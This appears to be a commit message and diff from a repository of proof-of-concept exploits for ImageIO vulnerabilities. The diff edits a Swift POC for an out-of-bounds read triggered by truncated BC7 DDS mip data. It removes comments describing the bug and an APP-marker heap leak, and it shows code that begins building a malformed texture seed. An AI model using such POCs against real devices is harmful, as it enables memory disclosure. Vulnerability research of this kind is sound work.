v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

CVE-2026-112627/CVE-2026-112627.swift

@@ -1,21 +1,8 @@
 // iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
-// 原语: OOB 读 · 进程内 · tier 2
-// Primitive: OOB read · in-process · tier 2
-//
-// [zh] BC7 纹理 mip 截断
-// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码，块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误，并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。
-//
-// [en] BC7 texture mip truncation
-// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block
-// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit
-// mip size arithmetic plus dimension and data-size gates.
-// ── 判别 / oracle ──
-// 512×512 BC7 需要 65536 字节，实际只给 64 字节。
-//  变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG
-
+// BC7 texture mip truncation
 import Foundation
 
-// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
 enum B {
     static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
     static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -36,24 +23,8 @@ enum B {
     static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
 }
 
-/*
-// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561
-// 原语: 信息泄露 · 进程内 · tier 1
-// Primitive: info leak · in-process · tier 1
-//
-// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG
-// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流，不含任何边界运算。当标记声明的长度超出实际块时，重编码路径会把堆上相邻字节直接写入产出的
-// JPEG 文件 —— 泄露物即产物本身，不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制，超出时报 \"marker 0x%04X is out of bounds\"。
-//
-// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG
-// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with
-// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode
-// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself,
-// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting
-// "marker 0x%04X is out of bounds" when it overruns.
-*/
 
-// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ──
+// ── seed construction (from Cinder27 Sources: TexturePayload) ──
 enum TexturePayload {
 static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
         var out = Data("DDS ".utf8)